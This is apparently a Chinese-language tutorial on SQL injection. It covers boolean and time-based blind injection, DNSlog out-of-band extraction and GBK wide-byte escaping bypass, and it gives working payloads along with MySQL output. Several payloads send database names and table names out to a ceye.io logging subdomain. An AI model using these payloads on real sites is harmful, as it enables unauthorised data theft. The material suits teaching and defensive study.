布尔盲注
什么是布尔盲注
页面可以进行SQL注入,但是不能通过注入直接看到数据库中的内容,但可以通过“真” “假” 的方式判断数据量库中的信息
构造逻辑判断语句,判断信息的真假,取出所有的真值,实现sql注入
在mysql中能对位,或者每一位的数据进行判断识别的函数,或者方法就能进行布尔盲注
首先我们要知道
left()、substr()、ascii() 函数以及正则表达语句regexp 的使用:
left()函数
left(database(),1)='x'
databse()显示数据库名称,left(a,b)从左侧截取a的前b位
database()=anmin
left(database(),1)='a'
right
left(database(),2)='ab'
wrong
left(database(),2)='ad'
right
一步一步判断
regexp 进行正则表达的语句
select database() regexp'^a' ^这个字符串的起始位置
right
select database() regexp'^ab'
wrong
select database() regexp'^ad'
right
select database() regexp'^admin'
right
like 与regexp类似,使用like进行匹配
select database() like'ad%'
substr() ascii() 函数
substr(a,b,c)从b位置开始,截取字符串a的c长度
substr(select database()),1,1))='a' 有时会过滤''使用ascii可以适用于更多场景
ascii(substr(select database()),1,1))=115
mysql> select database();
+------------+
| database() |
+------------+
| basslian |
+------------+
1 row in set (0.00 sec)
mysql> select substr(database(),1,2);第一个字符开始,截取两个字符
+------------------------+
| substr(database(),1,2) |
+------------------------+
| ba |
+------------------------+
1 row in set (0.00 sec)
mysql> select substr(database(),2,1);第二个字符开始,截取一个字符
+------------------------+
| substr(database(),2,1) |
+------------------------+
| a |
+------------------------+
1 row in set (0.00 sec)
mysql> select substr(database(),2,2);第二个字符开始,截取两个字符
+------------------------+
| substr(database(),2,2) |
+------------------------+
| as |
+------------------------+
1 row in set (0.00 sec)
mysql> select substr(database(),3,1);第三个字符开始,截取一个字符
+------------------------+
| substr(database(),3,1) |
+------------------------+
| s |
+------------------------+
1 row in set (0.00 sec)
mysql> select substr(database(),3,3);第三个字符开始,截取三个字符
+------------------------+
| substr(database(),3,3) |
+------------------------+
| ssl |
+------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1));第一个字符开始,截取一个字符,它的阿斯卡码值98,b
+-------------------------------+
| ascii(substr(database(),1,1)) |
+-------------------------------+
| 98 |
+-------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),2,1));第二个字符值97,a
+-------------------------------+
| ascii(substr(database(),2,1)) |
+-------------------------------+
| 97 |
+-------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),3,1));第三字符值115,s
+-------------------------------+
| ascii(substr(database(),3,1)) |
+-------------------------------+
| 115 |
+-------------------------------+
1 row in set (0.00 sec)
mysql> select substr(database(),1,1);
+------------------------+
| substr(database(),1,1) |
+------------------------+
| b |
+------------------------+
1 row in set (0.00 sec)
mysql> select substr(database(),1,1)='b';第一个字符判断真假,如果是b,为真,返回1
+----------------------------+
| substr(database(),1,1)='b' |
+----------------------------+
| 1 |
+----------------------------+
1 row in set (0.01 sec)
mysql> select substr(database(),1,1)='c';第一个字符是b,不是c,为假,返回0
+----------------------------+
| substr(database(),1,1)='c' |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (0.00 sec)
mysql> select substr(database(),1,1)='B';
+----------------------------+
| substr(database(),1,1)='B' |
+----------------------------+
| 1 |
+----------------------------+
1 row in set (0.00 sec)
mysql> select substr(database(),1,1)='B';
第一个字符为b,通过substr函数返回B也可以为真,但是为了更准确,使用ascii
这里是一个结合ascii()的例子
?id=1 and ascii(substring((select schema_name FROM information_schema.schemata LIMIT 0,1),1,1)) >64
1.首先执行里面的子查询
2.substring截取子查询的返回值的一个字符
3.利用ascii函数求substring截取的字符的ascii码
4.把64和ascii函数的返回值进行比较
5.根据比较后返回的布尔值来进行查询,如果步骤4返回false。则整个SQL语句返回结果为空。
若提示“找到记录!”,说明第一个字符大于64。
这里为什么选择64呢?因为ascii码只有128个,64刚好是一半,我们用二分法,一次就可以排除掉一半。所以我们第二次应该是判断它是否大于 64+ 64/2。
表名是users
substring((select column_name FROM information_schema.columns where table_name='user' and table_schema='sqli' LIMIT 0,1),1,1)='u'
当前用户是admin
substring((select username from users LIMIT 0,1),1,1)) ='a' admin
之后构造常用sql注入payload
select table_name from information_schema.tables where table_schema=database() limit 0,1
爆表
select column_name from information_schema.columns where table_name=notice limit 0,1
爆字段
select schema_name from information_schema.schemata limit0,1
爆库
时间盲注
什么是时间盲注
代码存在sql注入,然而页面不会回显数据,也不会回显错误信息
语句执行后,也不会提示真假,我们不能通过页面内容来进行判断
我们可以通过构造语句,通过页面响应时长,来判断信息
构造一个逻辑语句,通过条件语句进行判断,为真则立即执行,否则延时执行
if(xxx,0,x) if语法
if一个条件,如果xxx语句的内容对了,为真,返回0这个结果立即执行语句
如果xxx语句的内容错了,为假,返回x这个结果,执行x这个语句
IF(Condition,A,B),当Condition为TRUE时,返回A;当Condition为FALSE时,返回B
if(ascii(substr(database(),1,1))=>115,0,sleep(5));
先截取数据库的第一个字符,它的ascii值是否=115,如果是,立即执行,若果不是,延迟执行五秒
database() ===想要查询的数据
if(left(user(),1)='r',0,sleep(5))--+
当前用户名root@localhost 第一位r,程序立即执行
我们构造一个payload:
and if(ascii(substring((select schema_name from information_schema.schemata LIMIT 0,1),1,1)) = 105, sleep(5), sleep(0)))--+
来查询当前的数据库
之后的查询语句继续带入上面的payload
Dnslog盲注
Dnsloag盲注原理
早期:互联网上的服务器,它运行着很多程序并向外提供服务,服务器要有一个独立的,公网的IP地址,它提供的端口,互联网的用户访问他的地址,访问我们需要的web应用
server服务器192.168.xxx.xxx—————user用户
Dns:User用户————domain(test.com)域名————DNS server(进行处理,来找到对应的)————server服务器192.168.xxx.xxx
对这个中间的进行处理的过程称为DNS 它将域名与服务器的IP地址做了一个映射
DNSlog:他会记录我们所有的访问的域名的信息
使用Dnslog注入的有点 : 可以减少请求,直接回显数据
Dnslog平台 http://ceye.io/
Dns在接解析的时候会留下日志,通过获取多级域名的解析日志,获取请求信息
Linux下curl模拟发起一个http请求命令
curl :xx.l123456.ceye.io , 这是平台分配给你的 l123456.ceye.io
[root@localhost ~]# curl l123456.ceye.io
{"meta": {"code": 201, "message": "HTTP Record Insert Success"}}[root@localhost ~] 成功
我们登陆Dnslog平台 http://ceye.io/会看到:
记录信息 详情 请求的来源地址 方式 UA
HTTP REQUEST请求信息 http://xx.l123456.ceye.io/ 10.10.10.10 GET cur7.43.0
DNS Query dns处理信息 xx.l123456.ceye.io 10.10.10.10
dnslogsql方便区分,在Linux系统上使用时在这里插入代码片
[root@localhost ~]# curl dnslogsql.n1omra.ceye.io
{"meta": {"code": 201, "message": "HTTP Record Insert Success"}}[root@localhost ~]#
在Linux中如果将’whoami’包围起来,那么这个语句将会被直接执行
curl 'whoami'.l123456.ceye.io
它会被当作语言先执行:当前的用户,也就是xxx
我们进行dnslog盲注:
有一点我们需要知道使用load_file()目标服务器必须是Windows操作系统
构造语句,利用load_file()函数发起请求,使用Dnslog接受请求,获取数据
(SELECT LOAD_FILE(CONCAT('\\\\',(select databses()),'.l123456.ceye.io\\abc')))--+
通过sql语句查询内容,作为请求的一部分,发送至dnslog
只要对这一部分的语句进行构造,就能实现有回显的sql注入
这些数据格式与内容都有限制,需要进一步处理不能有特殊符号:~
构造一个payload,利用dnslog注入查表语句:
and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.l123456.ceye.io/abc')))--+
宽字节注入
宽字节注入原理
宽字节,如果一个字符大小为一个字节,称为窄字节,若果为两个字节,称为宽字节
所有的英文默认占一个字节,中文汉字默认占两个字节,为何中文字符需要两个字节储存
英文字符只有a~z 大小写总的也就48种。
一个字节8位二进制,其数字的01组合种类完全满足其个数。255个字符
但是一个中文字符,却有太多种不同。所以一个字节8位的排列组合无法满足其个数。
所以又了两个字节16位来表示一个中文字符。(还要表示韩文,日文等)
不管编译器宽窄设置,中文字符默认占2字节,英文字符默认占1字节
如:
sizeof(‘你’) 结果是2 ,不管编译器如何设置宽窄
sizeof(“你”);结果3 中文2字节,结束符1字节 双引号表示字符串,自动添加结束符
sizeof(‘abc’);结果是3 单引号是字符,没有结束符,每个英文字符占1字节
sizeof(’‘abc’’);结果是4
我们写一个sql注入的例子:
http://www.xxx.com/?id=-9999’ union select 1,2,(select database()),4,5 --+
如何防御这类型的SQL注入方式:将 ’ 转换为 ’ 使后面的 ’ 不能与前面的 ’ 形成闭合,破坏注入
如何绕过:将\消灭
原理:输入' 处理\' 编码 %5C%27 \' 带入sql id=1\'and 不能注入
MYSQL 在使用GBK编码时,会认为两个字符为一个汉字
%df' %df\' %df%5C%27 运' id=运'and 可以注入
两个字符组合认为是一个汉字 注:前一个Ascii码大于128才能到汉字的范围 '
方法:在注入点后键入%df,然后按照正常的注入流程开始注入
完成